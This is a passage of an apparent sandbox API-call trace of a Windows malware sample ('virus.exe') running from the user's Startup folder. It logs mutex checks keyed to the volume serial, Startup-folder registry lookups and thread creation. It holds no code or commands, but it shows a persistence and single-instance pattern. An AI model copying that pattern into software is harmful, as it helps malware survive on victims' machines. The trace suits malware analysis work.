0x63efa0 [0194.566] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000001") returned 0x26c [0194.566] WaitForSingleObject (hHandle=0x26c, dwMilliseconds=0x0) returned 0x102 [0194.566] CloseHandle (hObject=0x26c) returned 1 [0194.566] GetProcessHeap () returned 0x5f0000 [0194.566] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x604b90 | out: hHeap=0x5f0000) returned 1 [0194.567] GetProcessHeap () returned 0x5f0000 [0194.567] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x63efa0 | out: hHeap=0x5f0000) returned 1 [0194.567] GetProcessHeap () returned 0x5f0000 [0194.567] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x603fc0 | out: hHeap=0x5f0000) returned 1 [0194.567] GetProcessHeap () returned 0x5f0000 [0194.567] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x603fe8 | out: hHeap=0x5f0000) returned 1 [0194.567] GetProcessHeap () returned 0x5f0000 [0194.567] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x603f48 | out: hHeap=0x5f0000) returned 1 [0194.567] GetProcessHeap () returned 0x5f0000 [0194.567] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x6019d0 | out: hHeap=0x5f0000) returned 1 [0194.567] GetProcessHeap () returned 0x5f0000 [0194.567] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x609ad8 | out: hHeap=0x5f0000) returned 1 [0194.567] GetProcessHeap () returned 0x5f0000 [0194.567] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x6066d0 | out: hHeap=0x5f0000) returned 1 [0194.567] GetProcessHeap () returned 0x5f0000 [0194.567] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x601ba8 | out: hHeap=0x5f0000) returned 1 [0194.567] ExitProcess (uExitCode=0x0) Thread: id = 50 os_tid = 0x6d0 Thread: id = 51 os_tid = 0x6e4 Thread: id = 53 os_tid = 0x6ec Process: id = "12" image_name = "cusersuserappdatalocaltemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe" filename = "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\cusersuserappdatalocaltemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe" page_root = "0x7302b000" os_pid = "0x7e8" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "11" os_parent_pid = "0x6a8" cmd_line = "\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe\" " cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000ea12" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 69 os_tid = 0x410 [0194.422] GetProcessHeap () returned 0x550000 [0194.422] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x30) returned 0x561b08 [0194.422] GetProcessHeap () returned 0x550000 [0194.422] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x3400) returned 0x566630 [0194.430] GetProcessHeap () returned 0x550000 [0194.430] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x300) returned 0x569a38 [0194.431] GetProcessHeap () returned 0x550000 [0194.431] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10) returned 0x561930 [0194.431] GetTickCount () returned 0x113c820 [0194.431] GetLocaleInfoW (in: Locale=0x800, LCType=0x58, lpLCData=0x1af868, cchData=32 | out: lpLCData="\x03") returned 16 [0194.433] GetProcessHeap () returned 0x550000 [0194.433] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x20) returned 0x563ea8 [0194.433] GetProcessHeap () returned 0x550000 [0194.433] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x20a) returned 0x569d78 [0194.433] GetProcessHeap () returned 0x550000 [0194.433] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x20a) returned 0x569f90 [0194.433] GetProcessHeap () returned 0x550000 [0194.433] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x20a) returned 0x56a1a8 [0194.433] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x56a1a8, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\cusersuserappdatalocaltemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 0xa8 [0194.433] GetProcessHeap () returned 0x550000 [0194.433] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a1a8 | out: hHeap=0x550000) returned 1 [0194.434] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\spfs.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\spfs.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0194.434] GetProcessHeap () returned 0x550000 [0194.434] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x569d78 | out: hHeap=0x550000) returned 1 [0194.434] GetProcessHeap () returned 0x550000 [0194.434] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x569f90 | out: hHeap=0x550000) returned 1 [0194.434] GetProcessHeap () returned 0x550000 [0194.434] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x563ea8 | out: hHeap=0x550000) returned 1 [0194.434] GetVersion () returned 0x1db10106 [0194.434] GetCurrentProcess () returned 0xffffffff [0194.434] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x1af7fc | out: TokenHandle=0x1af7fc*=0xa0) returned 1 [0194.434] GetTokenInformation (in: TokenHandle=0xa0, TokenInformationClass=0x14, TokenInformation=0x1af7f4, TokenInformationLength=0x4, ReturnLength=0x1af7f8 | out: TokenInformation=0x1af7f4, ReturnLength=0x1af7f8) returned 1 [0194.434] CloseHandle (hObject=0xa0) returned 1 [0194.434] GetProcessHeap () returned 0x550000 [0194.434] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x20) returned 0x563ea8 [0194.434] GetProcessHeap () returned 0x550000 [0194.434] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x20a) returned 0x569d78 [0194.434] GetProcessHeap () returned 0x550000 [0194.434] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x20a) returned 0x569f90 [0194.434] GetProcessHeap () returned 0x550000 [0194.434] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x569d78 | out: hHeap=0x550000) returned 1 [0194.434] GetProcessHeap () returned 0x550000 [0194.435] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x569f90 | out: hHeap=0x550000) returned 1 [0194.435] GetProcessHeap () returned 0x550000 [0194.435] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x20) returned 0x563ef8 [0194.435] GetProcessHeap () returned 0x550000 [0194.435] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x1e) returned 0x563f20 [0194.435] GetProcessHeap () returned 0x550000 [0194.435] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x1e) returned 0x563f48 [0194.435] GetProcessHeap () returned 0x550000 [0194.435] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x90) returned 0x569d78 [0194.435] GetProcessHeap () returned 0x550000 [0194.435] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x569d78 | out: hHeap=0x550000) returned 1 [0194.435] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x563f20, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0194.435] GetProcessHeap () returned 0x550000 [0194.435] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x563f48 | out: hHeap=0x550000) returned 1 [0194.435] GetProcessHeap () returned 0x550000 [0194.435] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x563ef8 | out: hHeap=0x550000) returned 1 [0194.435] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x1af7b4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x1af7b4*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0194.436] GetProcessHeap () returned 0x550000 [0194.436] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x563f20 | out: hHeap=0x550000) returned 1 [0194.436] GetProcessHeap () returned 0x550000 [0194.436] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x30) returned 0x569d78 [0194.436] GetProcessHeap () returned 0x550000 [0194.436] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x2a) returned 0x569db0 [0194.436] GetProcessHeap () returned 0x550000 [0194.436] RtlReAllocateHeap (Heap=0x550000, Flags=0x0, Ptr=0x569db0, Size=0x52) returned 0x569db0 [0194.436] GetProcessHeap () returned 0x550000 [0194.436] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x569d78 | out: hHeap=0x550000) returned 1 [0194.436] GetProcessHeap () returned 0x550000 [0194.436] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x569db0 | out: hHeap=0x550000) returned 1 [0194.436] GetProcessHeap () returned 0x550000 [0194.436] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x1c) returned 0x563f20 [0194.436] GetProcessHeap () returned 0x550000 [0194.436] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x1c) returned 0x563f48 [0194.436] GetProcessHeap () returned 0x550000 [0194.436] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x20) returned 0x569d90 [0194.436] GetProcessHeap () returned 0x550000 [0194.436] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x1e) returned 0x569db8 [0194.436] GetProcessHeap () returned 0x550000 [0194.436] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x1e) returned 0x569de0 [0194.436] GetProcessHeap () returned 0x550000 [0194.436] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x90) returned 0x56a578 [0194.437] GetProcessHeap () returned 0x550000 [0194.437] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a578 | out: hHeap=0x550000) returned 1 [0194.437] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x569db8, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0194.437] GetProcessHeap () returned 0x550000 [0194.437] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x569de0 | out: hHeap=0x550000) returned 1 [0194.437] GetProcessHeap () returned 0x550000 [0194.437] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x569d90 | out: hHeap=0x550000) returned 1 [0194.437] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x1af79c, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x1af79c*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0194.437] GetProcessHeap () returned 0x550000 [0194.437] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x569db8 | out: hHeap=0x550000) returned 1 [0194.437] GetProcessHeap () returned 0x550000 [0194.437] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x40) returned 0x564280 [0194.437] GetProcessHeap () returned 0x550000 [0194.437] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x3a) returned 0x5642c8 [0194.437] GetProcessHeap () returned 0x550000 [0194.437] RtlReAllocateHeap (Heap=0x550000, Flags=0x0, Ptr=0x5642c8, Size=0x72) returned 0x55fb10 [0194.437] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000001") returned 0x0 [0194.437] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\<>9C354B4200000001") returned 0xa0 [0194.438] WaitForSingleObject (hHandle=0xa0, dwMilliseconds=0x0) returned 0x0 [0194.438] GetProcessHeap () returned 0x550000 [0194.438] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x564280 | out: hHeap=0x550000) returned 1 [0194.438] GetProcessHeap () returned 0x550000 [0194.438] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x55fb10 | out: hHeap=0x550000) returned 1 [0194.438] GetProcessHeap () returned 0x550000 [0194.438] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x20) returned 0x569d90 [0194.438] GetProcessHeap () returned 0x550000 [0194.438] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x1e) returned 0x569db8 [0194.438] GetProcessHeap () returned 0x550000 [0194.438] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x1e) returned 0x569de0 [0194.438] GetProcessHeap () returned 0x550000 [0194.438] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x90) returned 0x56a578 [0194.438] GetProcessHeap () returned 0x550000 [0194.438] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a578 | out: hHeap=0x550000) returned 1 [0194.438] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x569db8, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0194.438] GetProcessHeap () returned 0x550000 [0194.438] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x569de0 | out: hHeap=0x550000) returned 1 [0194.438] GetProcessHeap () returned 0x550000 [0194.438] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x569d90 | out: hHeap=0x550000) returned 1 [0194.438] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x1af784, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x1af784*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0194.439] GetProcessHeap () returned 0x550000 [0194.439] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x569db8 | out: hHeap=0x550000) returned 1 [0194.439] GetProcessHeap () returned 0x550000 [0194.439] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x40) returned 0x564280 [0194.439] GetProcessHeap () returned 0x550000 [0194.439] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x3a) returned 0x5642c8 [0194.439] GetProcessHeap () returned 0x550000 [0194.439] RtlReAllocateHeap (Heap=0x550000, Flags=0x0, Ptr=0x5642c8, Size=0x72) returned 0x55fb10 [0194.439] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000000") returned 0xa4 [0194.439] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x0) returned 0x102 [0194.439] CloseHandle (hObject=0xa4) returned 1 [0194.439] GetProcessHeap () returned 0x550000 [0194.439] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x564280 | out: hHeap=0x550000) returned 1 [0194.439] GetProcessHeap () returned 0x550000 [0194.439] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x55fb10 | out: hHeap=0x550000) returned 1 [0194.439] GetProcessHeap () returned 0x550000 [0194.439] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0xd0) returned 0x56a578 [0194.439] GetProcessHeap () returned 0x550000 [0194.439] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0xc3) returned 0x56a650 [0194.439] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0xf64b85, lpParameter=0x56a650, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa4 [0194.441] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x0) returned 0x102 [0194.441] CloseHandle (hObject=0xa4) returned 1 [0194.441] GetProcessHeap () returned 0x550000 [0194.441] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a578 | out: hHeap=0x550000) returned 1 [0194.441] GetProcessHeap () returned 0x550000 [0194.441] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x60) returned 0x56a578 [0194.441] GetProcessHeap () returned 0x550000 [0194.441] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x5c) returned 0x56a5e0 [0194.441] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0xf64b85, lpParameter=0x56a5e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa4 [0194.442] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x0) returned 0x102 [0194.442] CloseHandle (hObject=0xa4) returned 1 [0194.442] GetProcessHeap () returned 0x550000 [0194.442] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a578 | out: hHeap=0x550000) returned 1 [0194.442] GetProcessHeap () returned 0x550000 [0194.442] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x20) returned 0x569d90 [0194.442] GetProcessHeap () returned 0x550000 [0194.442] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x1e) returned 0x569db8 [0194.443] GetProcessHeap () returned 0x550000 [0194.443] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x1e) returned 0x569de0 [0194.443] GetProcessHeap () returned 0x550000 [0194.443] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x90) returned 0x56a740 [0194.443] GetProcessHeap () returned 0x550000 [0194.443] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a740 | out: hHeap=0x550000) returned 1 [0194.443] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x569db8, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0194.443] GetProcessHeap () returned 0x550000 [0194.443] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x569de0 | out: hHeap=0x550000) returned 1 [0194.443] GetProcessHeap () returned 0x550000 [0194.443] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x569d90 | out: hHeap=0x550000) returned 1 [0194.443] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x1af7bc, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x1af7bc*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0194.443] GetProcessHeap () returned 0x550000 [0194.443] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x569db8 | out: hHeap=0x550000) returned 1 [0194.443] GetProcessHeap () returned 0x550000 [0194.443] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x60) returned 0x56a578 [0194.443] GetProcessHeap () returned 0x550000 [0194.443] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x20) returned 0x569d90 [0194.443] GetProcessHeap () returned 0x550000 [0194.443] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x1e) returned 0x569db8 [0194.443] GetProcessHeap () returned 0x550000 [0194.443] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x1e) returned 0x569de0 [0194.444] GetProcessHeap () returned 0x550000 [0194.444] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x90) returned 0x56a740 [0194.444] GetProcessHeap () returned 0x550000 [0194.444] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a740 | out: hHeap=0x550000) returned 1 [0194.444] ExpandEnvironmentStringsW (in: lpSrc="%localappdata%", lpDst=0x569db8, nSize=0xf | out: lpDst="") returned 0x2c [0194.444] GetProcessHeap () returned 0x550000 [0194.444] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x569de0 | out: hHeap=0x550000) returned 1 [0194.444] GetProcessHeap () returned 0x550000 [0194.444] RtlReAllocateHeap (Heap=0x550000, Flags=0x0, Ptr=0x569db8, Size=0x3a) returned 0x564280 [0194.444] GetProcessHeap () returned 0x550000 [0194.444] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x3a) returned 0x5642c8 [0194.444] GetProcessHeap () returned 0x550000 [0194.444] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x90) returned 0x56a740 [0194.444] GetProcessHeap () returned 0x550000 [0194.444] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a740 | out: hHeap=0x550000) returned 1 [0194.444] ExpandEnvironmentStringsW (in: lpSrc="%localappdata%", lpDst=0x564280, nSize=0x1d | out: lpDst="") returned 0x2c [0194.444] GetProcessHeap () returned 0x550000 [0194.444] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5642c8 | out: hHeap=0x550000) returned 1 [0194.444] GetProcessHeap () returned 0x550000 [0194.444] RtlReAllocateHeap (Heap=0x550000, Flags=0x0, Ptr=0x564280, Size=0x72) returned 0x55fb10 [0194.444] GetProcessHeap () returned 0x550000 [0194.444] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x72) returned 0x55fb90 [0194.444] GetProcessHeap () returned 0x550000 [0194.444] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x90) returned 0x56a740 [0194.444] GetProcessHeap () returned 0x550000 [0194.444] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a740 | out: hHeap=0x550000) returned 1 [0194.444] ExpandEnvironmentStringsW (in: lpSrc="%localappdata%", lpDst=0x55fb10, nSize=0x39 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local") returned 0x2c [0194.444] GetProcessHeap () returned 0x550000 [0194.444] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x55fb90 | out: hHeap=0x550000) returned 1 [0194.445] GetProcessHeap () returned 0x550000 [0194.445] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x569d90 | out: hHeap=0x550000) returned 1 [0194.445] GetProcessHeap () returned 0x550000 [0194.445] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x40) returned 0x564280 [0194.445] GetProcessHeap () returned 0x550000 [0194.445] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x3e) returned 0x5642c8 [0194.445] GetProcessHeap () returned 0x550000 [0194.445] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x3e) returned 0x564310 [0194.445] GetProcessHeap () returned 0x550000 [0194.445] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x90) returned 0x56a740 [0194.445] GetProcessHeap () returned 0x550000 [0194.445] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x10) returned 0x561948 [0194.445] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x1af6d4 | out: phkResult=0x1af6d4*=0xa8) returned 0x0 [0194.445] RegQueryValueExW (in: hKey=0xa8, lpValueName="Startup", lpReserved=0x0, lpType=0x1af6d0, lpData=0x564310, lpcbData=0x1af6d8*=0x3e | out: lpType=0x1af6d0*=0x2, lpData=0x564310*=0x2f, lpcbData=0x1af6d8*=0x98) returned 0xea [0194.445] RegCloseKey (hKey=0xa8) returned 0x0 [0194.446] GetProcessHeap () returned 0x550000 [0194.446] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x561948 | out: hHeap=0x550000) returned 1 [0194.446] GetProcessHeap () returned 0x550000 [0194.446] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a740 | out: hHeap=0x550000) returned 1 [0194.446] GetProcessHeap () returned 0x550000 [0194.446] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x564310 | out: hHeap=0x550000) returned 1 [0194.446] GetProcessHeap () returned 0x550000 [0194.446] RtlReAllocateHeap (Heap=0x550000, Flags=0x0, Ptr=0x5642c8, Size=0x7a) returned 0x56a740 [0194.446] GetProcessHeap () returned 0x550000 [0194.446] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x7a) returned 0x56a7c8 [0194.446] GetProcessHeap () returned 0x550000 [0194.446] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x90) returned 0x56a850 [0194.446] GetProcessHeap () returned 0x550000 [0194.446] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x10) returned 0x561948 [0194.446] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x1af6d4 | out: phkResult=0x1af6d4*=0xa8) returned 0x0 [0194.446] RegQueryValueExW (in: hKey=0xa8, lpValueName="Startup", lpReserved=0x0, lpType=0x1af6d0, lpData=0x56a7c8, lpcbData=0x1af6d8*=0x7a | out: lpType=0x1af6d0*=0x2, lpData=0x56a7c8*=0xc4, lpcbData=0x1af6d8*=0x98) returned 0xea [0194.446] RegCloseKey (hKey=0xa8) returned 0x0 [0194.446] GetProcessHeap () returned 0x550000 [0194.446] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x561948 | out: hHeap=0x550000) returned 1 [0194.446] GetProcessHeap () returned 0x550000 [0194.446] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a850 | out: hHeap=0x550000) returned 1 [0194.446] GetProcessHeap () returned 0x550000 [0194.446] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a7c8 | out: hHeap=0x550000) returned 1 [0194.446] GetProcessHeap () returned 0x550000 [0194.446] RtlReAllocateHeap (Heap=0x550000, Flags=0x0, Ptr=0x56a740, Size=0xf2) returned 0x56a740 [0194.447] GetProcessHeap () returned 0x550000 [0194.447] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0xf2) returned 0x56a840 [0194.447] GetProcessHeap () returned 0x550000 [0194.447] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x90) returned 0x56a940 [0194.447] GetProcessHeap () returned 0x550000 [0194.447] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x10) returned 0x561948 [0194.447] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x1af6d4 | out: phkResult=0x1af6d4*=0xa8) returned 0x0 [0194.447] RegQueryValueExW (in: hKey=0xa8, lpValueName="Startup", lpReserved=0x0, lpType=0x1af6d0, lpData=0x56a840, lpcbData=0x1af6d8*=0xf2 | out: lpType=0x1af6d0*=0x2, lpData="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", lpcbData=0x1af6d8*=0x98) returned 0x0 [0194.447] RegCloseKey (hKey=0xa8) returned 0x0 [0194.447] GetProcessHeap () returned 0x550000 [0194.447] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x561948 | out: hHeap=0x550000) returned 1 [0194.447] GetProcessHeap () returned 0x550000 [0194.447] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x1e) returned 0x569d90 [0194.447] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, 